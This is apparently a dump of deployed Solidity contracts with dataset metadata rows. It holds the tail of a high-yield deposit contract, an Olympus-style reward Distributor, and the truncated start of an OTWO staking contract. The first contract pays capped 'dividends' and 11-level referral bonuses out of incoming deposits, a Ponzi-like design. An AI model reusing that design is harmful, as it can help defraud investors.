.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 300 deposits from address");
// uint availableLimit = getCurrentHalfDayAvailable();
// require(availableLimit > 0, "Deposit limit exceed");
uint msgValue = msg.value;
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
uint network = msgValue.mul(NETWORK).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
adminAddress.transfer(adminFee);
networkAddress.transfer(network);
emit FeePayed(msg.sender, marketingFee.add(projectFee).add(network));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
// else{
// user.referrer = adminAddress;
// }
// uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 11; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
// }
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreationTime)).div(TIME_STEP.div(2));
}
// function getCurrentDayLimit() public view returns (uint) {
// uint limit;
// uint currentDay = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
// if (currentDay == 0) {
// limit = DAY_LIMIT_STEPS[0];
// } else if (currentDay == 1) {
// limit = DAY_LIMIT_STEPS[1];
// } else if (currentDay >= 2 && currentDay <= 5) {
// limit = DAY_LIMIT_STEPS[1].mul(currentDay);
// } else if (currentDay >= 6 && currentDay <= 19) {
// limit = DAY_LIMIT_STEPS[2].mul(currentDay.sub(3));
// } else if (currentDay >= 20 && currentDay <= 49) {
// limit = DAY_LIMIT_STEPS[3].mul(currentDay.sub(11));
// } else if (currentDay >= 50) {
// limit = DAY_LIMIT_STEPS[4].mul(currentDay.sub(30));
// }
// return limit;
// }
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
// function getCurrentHalfDayAvailable() public view returns (uint) {
// return getCurrentDayLimit().sub(getCurrentHalfDayTurnover());
// }
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
// refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[11] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 284,361 | 13,964 |
efd08296b392336ed34d3a72698db37cd89349f7834ca8d41e33d1d15f85e40c
| 18,012 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/fb/fb1a1f8963707a679eaf68d7b8b6fd2888ab8f5d_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 97,810 | 13,965 |
958294e7e2c1ab1fd6c4301451509546bb563ce8771ec98ce15769ec0cdf718f
| 27,325 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/50/50971d6B5a3CCd79C516f914208C67C8104977dF_OTWOStaking.sol
| 4,230 | 16,902 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface ISOTWO {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract OTWOStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OTWO;
address public immutable sOTWO;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _OTWO,
address _sOTWO,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_OTWO != address(0));
OTWO = _OTWO;
require(_sOTWO != address(0));
sOTWO = _sOTWO;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(OTWO).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(ISOTWO(sOTWO).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sOTWO).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, ISOTWO(sOTWO).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), ISOTWO(sOTWO).balanceForGons(info.gons));
